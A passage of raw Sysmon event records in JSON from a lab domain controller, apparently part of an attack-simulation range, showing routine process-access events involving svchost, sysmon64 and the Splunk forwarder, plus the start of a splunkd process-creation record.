11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3391,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.276\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.276","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3392,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.276\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.276","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3393,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.276\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.276","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3394,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.276\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.276","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3395,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.276\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.276","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3396,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.276\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.276","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3397,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.276\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.276","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3398,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.276\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407C-5F2D-0000-001033280500}\r\nTargetProcessId: 4352\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.276","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407C-5F2D-0000-001033280500}","TargetProcessId":"4352","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3399,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.286\r\nProcessGuid: {90617006-407C-5F2D-0000-001068290500}\r\nProcessId: 4364\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" generate-ssl\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-407C-5F2D-0000-001033280500}\r\nParentProcessId: 4352\r\nParentImage: C:\\Program 